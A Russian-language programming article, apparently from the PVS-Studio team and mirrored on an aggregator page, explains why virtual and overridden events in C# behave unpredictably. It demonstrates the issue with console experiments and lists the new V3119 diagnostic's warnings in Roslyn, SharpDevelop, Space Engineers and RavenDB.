                То есть, главное не наличие навязчивой идеи сделать ИТ-стартап или другой бизнес, а чтобы это действительно нравилось, чтобы ты засыпал, думая об этом, просыпался, думая о своем деле. Не должно быть какого-то противоречия внутри себя. Если это противоречие есть, то нужно начать делать что-то другое – никогда не поздно начать с нуля.

                Комментарии (0)

                  Let's block ads! (Why?)

                  Виртуальные события в C#: что-то пошло не так

                  Недавно я работал над новой C#-диагностикой V3119 для статического анализатора PVS-Studio. Назначение диагностики — выявление потенциально небезопасных конструкций в исходном коде C#, связанных с использованием виртуальных и переопределенных событий. Давайте попробуем разобраться: что же не так с виртуальными событиями в C#, как именно работает диагностика и почему Microsoft не рекомендует использовать виртуальные и переопределенные события?

                  Введение


                  Думаю, читатель хорошо знаком с механизмами виртуальности в C#. Наиболее простым для понимания является пример с работой виртуальных методов. В этом случае виртуальность позволяет выполнить одно из переопределений виртуального метода в соответствии с типом времени выполнения объекта. Проиллюстрирую данный механизм на простом примере:
                  class A
                  {
                    public virtual void F() { Console.WriteLine("A.F"); }
                    public void G() { Console.WriteLine("A.G"); }
                  }
                  class B : A
                  {
                    public override void F() { Console.WriteLine("B.F"); }
                    public new void G() { Console.WriteLine("B.G"); }
                  }
                  static void Main(....)
                  {
                    B b = new B();
                    A a = b;
                    
                    a.F();
                    b.F();
                  
                    a.G();
                    b.G();
                  }
                  

                  В результате выполнения, на консоль будет выведено:
                  B.F
                  B.F
                  A.G
                  B.G
                  

                  Все правильно. Так как оба объекта a и b имеют тип времени выполнения B, то и вызов виртуального метода F() для обоих этих объектов приведет к вызову переопределенного метода F() класса В. С другой стороны, по типу времени компиляции объекты a и b различаются, соответственно, имея типы A и B. Поэтому вызов метода G() для каждого из этих объектов приводит к вызову соответствующего метода для класса A или B. Более подробно про использование ключевых слов virtual и override можно узнать, например, здесь.

                  Аналогично методам, свойствам и индексаторам, виртуальными могут быть объявлены и события:

                  public virtual event ....
                  

                  Сделать это можно как для «простых», так и для явно реализующих аксессоры add и remove событий. При этом, работая с виртуальными и переопределенными в производных классах событиями, логично было бы ожидать от них поведения, схожего, например, с виртуальными методами. Однако — это не так. Более того, MSDN прямым текстом не рекомендует использовать виртуальные и переопределенные события: «Do not declare virtual events in a base class and override them in a derived class. The C# compiler does not handle these correctly and it is unpredictable whether a subscriber to the derived event will actually be subscribing to the base class event».

                  Но не будем сразу сдаваться и попробуем все же реализовать "… declare virtual events in a base class and override them in a derived class".

                  Эксперименты


                  В качестве первого эксперимента создадим консольное приложение, содержащее объявление и использование в базовом классе двух виртуальных событий (с неявной и явной реализацией аксессоров add и remove), а также содержащее производный класс, переопределяющий эти события:
                  class Base
                  {
                    public virtual event Action MyEvent;
                    public virtual event Action MyCustomEvent
                    {
                      add { _myCustomEvent += value; }
                      remove { _myCustomEvent -= value; }
                    }
                    protected Action _myCustomEvent { get; set; }
                    public void FooBase()
                    {
                      MyEvent?.Invoke(); 
                      _myCustomEvent?.Invoke();
                    }
                  }
                  class Child : Base
                  {
                    public override event Action MyEvent;
                    public override event Action MyCustomEvent
                    {
                      add { _myCustomEvent += value; }
                      remove { _myCustomEvent -= value; }
                    }
                    protected new Action _myCustomEvent { get; set; }
                    public void FooChild()
                    {
                      MyEvent?.Invoke(); 
                      _myCustomEvent?.Invoke();
                    }
                  }
                  static void Main(...)
                  {
                    Child child = new Child();
                    child.MyEvent += () =>
                      Console.WriteLine("child.MyEvent handler");
                    child.MyCustomEvent += () =>
                      Console.WriteLine("child.MyCustomEvent handler");
                    child.FooChild();
                    child.FooBase();
                  }
                  

                  Результатом выполнения программы будет вывод на консоль двух строк:
                  child.MyEvent handler
                  child.MyCustomEvent handler
                  

                  Используя отладчик или тестовый вывод, легко убедиться в том, что в момент вызова child.FooBase() значение обеих переменных MyEvent и _myCustomEvent равно null, и программа не «падает» лишь благодаря использованию оператора условного доступа при попытке инициировать события MyEvent?.Invoke() и _myCustomEvent?.Invoke().

                  Итак, предупреждение MSDN не было напрасным. Это действительно не работает! Подписка на виртуальные события объекта, имеющего тип времени выполнения производного класса Child, не приводит к одновременной подписке на события базового класса Base.

                  В случае с неявной реализацией события компилятор автоматически создает для него методы-аксессоры add и remove, а также поле-делегат, которое используется для подписки или отписки. Проблема, по всей видимости, заключается в том, что в случае использования виртуального события, базовый и дочерний классы будут иметь индивидуальные (не виртуальные) поля-делегаты, связанные с данным событием.

                  В случае явной реализации — это делает разработчик, который может учесть данную особенность поведения виртуальных событий в C#. В приведенном примере я не учел эту особенность, объявив свойство-делегат _myCustomEvent как protected в базовом и производном классах. Таким образом, я фактически повторил реализацию, предоставляемую компилятором автоматически для виртуальных событий.

                  Попробуем все же добиться ожидаемого поведения виртуального события при помощи второго эксперимента. Для этого используем виртуальное и переопределенное событие с явной реализацией аксессоров add и remove, а также связанное с ними виртуальное свойство-делегат. Немного изменим текст программы из первого эксперимента:

                  class Base
                  {
                    public virtual event Action MyEvent;
                    public virtual event Action MyCustomEvent
                    {
                      add { _myCustomEvent += value; }
                      remove { _myCustomEvent -= value; }
                    }
                    public virtual Action _myCustomEvent { get; set; }  //<= virtual
                    public void FooBase()
                    {
                      MyEvent?.Invoke(); 
                      _myCustomEvent?.Invoke();
                    }
                  }
                  class Child : Base
                  {
                    public override event Action MyEvent;
                    public override event Action MyCustomEvent
                    {
                      add { _myCustomEvent += value; }
                      remove { _myCustomEvent -= value; }
                    }
                    public override Action _myCustomEvent { get; set; }  //<= override
                    public void FooChild()
                    {
                      MyEvent?.Invoke(); 
                      _myCustomEvent?.Invoke();
                    }
                  }
                  static void Main(...)
                  {
                    Child child = new Child();
                    child.MyEvent += () =>
                      Console.WriteLine("child.MyEvent handler");
                    child.MyCustomEvent += () =>
                      Console.WriteLine("child.MyCustomEvent handler");
                    child.FooChild();
                    child.FooBase();
                  }
                  

                  Результат выполнения программы:
                  child.MyEvent handler
                  child.MyCustomEvent handler
                  child.MyCustomEvent handler
                  

                  Обратите внимание на тот факт, что произошло два срабатывания обработчика для события child.MyCustomEvent. В режиме отладки несложно определить, что теперь при вызове _myCustomEvent?.Invoke() в методе FooBase() значение делегата _myCustomEvent не равно null. Таким образом, ожидаемого поведения для виртуальных событий нам удалось добиться только путем использования событий с явно реализованными аксессорами add и remove.

                  Вы скажете, что все это, конечно, хорошо, но речь идет о каких-то синтетических примерах из теоретической области, и пусть эти виртуальные и переопределенные события там и остаются. Приведу следующие замечания:

                  • Вы можете оказаться в ситуации, когда будете вынуждены использовать виртуальные события. Например, наследуя от абстрактного класса, в котором объявлено абстрактное событие с неявной реализацией. В результате вы получите в своем классе переопределенное событие, которое, возможно, будете использовать. В этом нет ничего опасного до момента, пока вы не решите наследовать уже от своего класса и вновь переопределить это событие.
                  • Подобные конструкции редки, но все же встречаются в реальных проектах. В этом я убедился после того, как реализовал C#-диагностику V3119 для статического анализатора PVS-Studio. Диагностическое правило ищет объявления виртуальных или переопределенных событий с неявной реализацией, которые используются в текущем классе. Небезопасной считается ситуация, когда такие конструкции найдены и класс может иметь наследников, а событие может быть переопределено (не sealed). То есть когда гипотетически возможна ситуация с переопределением виртуального или уже переопределенного события в производном классе. Найденные таким образом предупреждения приведены в следующем разделе.

                  Примеры из реальных проектов


                  Для тестирования качества работы анализатора PVS-Studio мы используем пул тестовых проектов. После добавления в анализатор нового правила V3119, посвященного виртуальным и переопределенным событиям, была выполнена проверка всего пула проектов. Остановимся на анализе полученных предупреждений.

                  Roslyn


                  Проверке данного проекта при помощи PVS-Studio ранее была посвящена статья. Теперь же я просто приведу список предупреждений анализатора, связанных с виртуальными и переопределенными событиями.

                  Предупреждение анализатора PVS-Studio: V3119 Calling overridden event 'Started' may lead to unpredictable behavior. Consider implementing event accessors explicitly or use 'sealed' keyword. GlobalOperationNotificationServiceFactory.cs 33

                  Предупреждение анализатора PVS-Studio: V3119 Calling overridden event 'Stopped' may lead to unpredictable behavior. Consider implementing event accessors explicitly or use 'sealed' keyword. GlobalOperationNotificationServiceFactory.cs 34

                  private class NoOpService :
                    AbstractGlobalOperationNotificationService
                  {
                    ....
                    public override event EventHandler Started;
                    public override event 
                      EventHandler<GlobalOperationEventArgs> Stopped;
                    ....
                    public NoOpService()
                    {
                      ....
                      var started = Started;  //<=
                      var stopped = Stopped;  //<=
                    }
                    ....
                  }
                  

                  В данном случае мы, скорее всего, имеем дело с ситуацией вынужденного переопределения виртуальных событий. Базовый класс AbstractGlobalOperationNotificationService абстрактный и содержит определение абстрактных событий Started и Stopped:
                  internal abstract class 
                    AbstractGlobalOperationNotificationService :
                    IGlobalOperationNotificationService
                  {
                    public abstract event EventHandler Started;
                    public abstract event 
                      EventHandler<GlobalOperationEventArgs> Stopped;
                    ....
                  }
                  

                  Дальнейшее использование переопределенных событий Started и Stopped не совсем понятно, так как делегаты просто присваиваются локальным переменным started и stopped в методе NoOpService и никак не используются. Тем не менее, данная ситуация потенциально небезопасна, о чем и предупреждает анализатор.

                  SharpDevelop


                  Проверка этого проекта также ранее была описана в статье. Приведу список полученных предупреждений V3119 анализатора.

                  Предупреждение анализатора PVS-Studio: V3119 Calling overridden event 'ParseInformationUpdated' may lead to unpredictable behavior. Consider implementing event accessors explicitly or use 'sealed' keyword. CompilableProject.cs 397

                  ....
                  public override event EventHandler<ParseInformationEventArgs> 
                    ParseInformationUpdated = delegate {};
                  ....
                  public override void OnParseInformationUpdated (....)
                  {
                    ....
                    SD.MainThread.InvokeAsyncAndForget
                      (delegate { ParseInformationUpdated(null, args); });  //<=
                  }
                  ....
                  

                  Обнаружено использование переопределенного виртуального события. Опасность будет подстерегать нас в случае наследования от текущего класса и переопределения события ParseInformationUpdated в производном классе.

                  Предупреждение анализатора PVS-Studio: V3119 Calling overridden event 'ShouldApplyExtensionsInvalidated' may lead to unpredictable behavior. Consider implementing event accessors explicitly or use 'sealed' keyword. DefaultExtension.cs 127

                  ....
                  public override event 
                    EventHandler<DesignItemCollectionEventArgs>
                    ShouldApplyExtensionsInvalidated;
                  ....
                  protected void ReapplyExtensions
                    (ICollection<DesignItem> items)
                  {
                    if (ShouldApplyExtensionsInvalidated != null) 
                    {
                      ShouldApplyExtensionsInvalidated(this,  //<=
                        new DesignItemCollectionEventArgs(items));
                    }
                  }
                  ....
                  

                  Снова обнаружено использование переопределенного виртуального события.

                  Space Engineers


                  И этот проект ранее проверялся при помощи PVS-Studio. Результат проверки приведен в статье. Новая диагностика V3119 выдала 2 предупреждения.

                  Предупреждение анализатора PVS-Studio: V3119 Calling virtual event 'OnAfterComponentAdd' may lead to unpredictable behavior. Consider implementing event accessors explicitly. MyInventoryAggregate.cs 209

                  Предупреждение анализатора PVS-Studio: V3119 Calling virtual event 'OnBeforeComponentRemove' may lead to unpredictable behavior. Consider implementing event accessors explicitly. MyInventoryAggregate.cs 218

                  ....
                  public virtual event 
                    Action<MyInventoryAggregate, MyInventoryBase>
                    OnAfterComponentAdd;
                  public virtual event 
                    Action<MyInventoryAggregate, MyInventoryBase>
                    OnBeforeComponentRemove;
                  ....
                  public void AfterComponentAdd(....)
                  {
                    ....
                    if (OnAfterComponentAdd != null)
                    {
                      OnAfterComponentAdd(....);  // <=
                    }                
                  }
                  ....
                  public void BeforeComponentRemove(....)
                  {
                    ....
                    if (OnBeforeComponentRemove != null)
                    {
                      OnBeforeComponentRemove(....);
                    }
                  }
                  ....
                  

                  Здесь мы имеем дело с объявлением и использованием не переопределенных, а виртуальных событий. В целом, ситуация не отличается от ранее рассмотренных.

                  RavenDB


                  Проект RavenDB представляет собой так называемую «NoSQL» (или документно-ориентированную) базу данных. Его подробное описание доступно на официальном сайте. Проект разработан с использованием .NET и его исходные коды доступны на GitHub. Проверка RavenDB анализатором PVS-Studio выявила три предупреждения V3119.

                  Предупреждение анализатора PVS-Studio: V3119 Calling overridden event 'AfterDispose' may lead to unpredictable behavior. Consider implementing event accessors explicitly or use 'sealed' keyword. DocumentStore.cs 273

                  Предупреждение анализатора PVS-Studio: V3119 Calling overridden event 'AfterDispose' may lead to unpredictable behavior. Consider implementing event accessors explicitly or use 'sealed' keyword. ShardedDocumentStore.cs 104

                  Оба эти предупреждения выданы для схожих фрагментов кода. Рассмотрим один из таких фрагментов:

                  public class DocumentStore : DocumentStoreBase
                  {
                    ....
                    public override event EventHandler AfterDispose;
                    ....
                    public override void Dispose()
                    {
                      ....
                      var afterDispose = AfterDispose;  //<=
                      if (afterDispose != null)
                        afterDispose(this, EventArgs.Empty);
                    }
                    ....
                  }
                  

                  Переопределяемое в классе DocumentStore событие AfterDispose объявлено как абстрактное в базовом абстрактном классе DocumentStoreBase:
                  public abstract class DocumentStoreBase : IDocumentStore
                  {
                    ....
                    public abstract event EventHandler AfterDispose;
                    ....
                  }
                  

                  Как и в предыдущих примерах, анализатор предупреждает нас о потенциальной опасности в том случае, если виртуальное событие AfterDispose будет переопределено и использовано в производных от DocumentStore классах.

                  Предупреждение анализатора PVS-Studio: V3119 Calling virtual event 'Error' may lead to unpredictable behavior. Consider implementing event accessors explicitly. JsonSerializer.cs 1007

                  ....
                  public virtual event EventHandler<ErrorEventArgs> Error;
                  ....
                  internal void OnError(....)
                  {
                    EventHandler<ErrorEventArgs> error = Error; //<=
                    if (error != null)
                      error(....);
                  }
                  ....
                  

                  Здесь происходит объявление и использование виртуального события. И вновь существует риск неопределенного поведения.

                  Заключение


                  Думаю, на этом можно закончить наше исследование и сделать вывод о том, что действительно не стоит использовать неявно реализованные виртуальные события. Из-за особенностей их реализации в C#, использование таких событий может приводить к неопределенному поведению. В случае, если вы все же вынуждены использовать переопределенные виртуальные события (например, при наследовании от абстрактного класса), это следует делать с осторожностью, используя явно заданные аксессоры add и remove. Вы также можете использовать ключевое слово sealed при объявлении класса или события. И, конечно, следует использовать инструменты статического анализа кода, например, PVS-Studio.


                  Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Khrenov. Virtual events in C#: something went wrong.
                  Прочитали статью и есть вопрос?
                  Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: Ответы на вопросы читателей статей про PVS-Studio, версия 2015. Пожалуйста, ознакомьтесь со списком.

                  Комментарии (0)

                    Let's block ads! (Why?)